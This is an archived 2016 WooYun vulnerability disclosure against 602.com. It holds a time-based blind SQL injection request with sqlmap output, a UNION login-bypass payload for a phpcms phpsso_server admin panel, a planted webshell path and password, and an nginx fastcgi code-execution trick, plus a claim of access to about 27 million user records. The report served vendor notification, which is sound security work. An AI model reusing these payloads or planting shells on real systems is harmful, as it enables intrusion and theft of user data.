当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0192169

漏洞标题:602官网SQL注入导致Getshell(近三千万用户信息岌岌可危)

相关厂商:602

漏洞作者: mango

提交时间:2016-04-06 00:17

修复时间:2016-05-22 10:00

公开时间:2016-05-22 10:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-06: 细节已通知厂商并且等待厂商处理中
2016-04-07: 厂商已经确认,细节仅向厂商公开
2016-04-17: 细节向核心白帽子及相关领域专家公开
2016-04-27: 细节向普通白帽子公开
2016-05-07: 细节向实习白帽子公开
2016-05-22: 细节向公众公开

简要描述:

主站漏洞不是一般的多~

详细说明:

先说说注入

POST /index.php?a=countPlayer&c=index&m=myactivity HTTP/1.1
Cookie: pgv_pvi=7749869568; PHPSESSID=n1gnbgmuj3v2nuvfact1t1kt30; token=55f03b06-cc8e-4c76-baa4-532d56c7b08b; account_id=9315245; ci_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22d4e1dfd315e70cc7f51bef6f3a1e8d4b%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22192.168.72.22%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+rv%3A44.0%29+Gecko%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221456483098%22%3B%7Df5019eb6b51de8e681bd8a0a0fa25da0
Content-Length: 139
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.602.com:80/
Host: www.602.com
Connection: Keep-alive
DontTrackMeHere: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36
Accept: */*
a_id=1


sqlmap identified the following injection points with a total of 2687 HTTP(s) requests:
---
Parameter: a_id (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: a_id=1 AND SLEEP(5)
---
back-end DBMS: MySQL 5.0.12
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: a_id (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: a_id=1 AND SLEEP(5)
---
back-end DBMS: MySQL 5.0.12
available databases [1]:
[*] phpcmsv9
注入还有很多 我就不一一列举了
再说说getshell
请参考 WooYun: 一个不应该出现的错误导致phpcmsV9.6被秒杀
存在注入
1、登陆登陆phpsso_server后台

用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k
密码:1


H4}_1]ZC{NP2~VG)4ANJ31G.png


EABJ$7EI216T34U9)HE3BU6.png


然后利用利用phpsso_server/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。
http://www.602.com/phpsso_server/asga.php 密码c2

G[VF`A)~M@U4K02SE4FXYI6.png


QXH$(%}K00`YW122)9~URH6.png


5A65Q0H@CX64~T42M}KZ702.png


911%}5K%7HPN{E@KX0~4C)G.png


查询用户

$T{HU8U]1H9A{}RJ_MLYIG6.png


两千七百多万
将近三千万用户吧~应该没数错、、

漏洞证明:

主站还存在fastcgi nginx代码执行问题
http://www.602.com/robots.txt/a.php

DE`TL`4}JW4YTZ2((T{{%DY.png


修复方案:

升级哦~~控制好后台访问权限~ 服务器安全一定要做好呀~

版权声明:转载请注明来源 mango@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-04-07 09:56

厂商回复:

正在紧急处理

最新状态:

暂无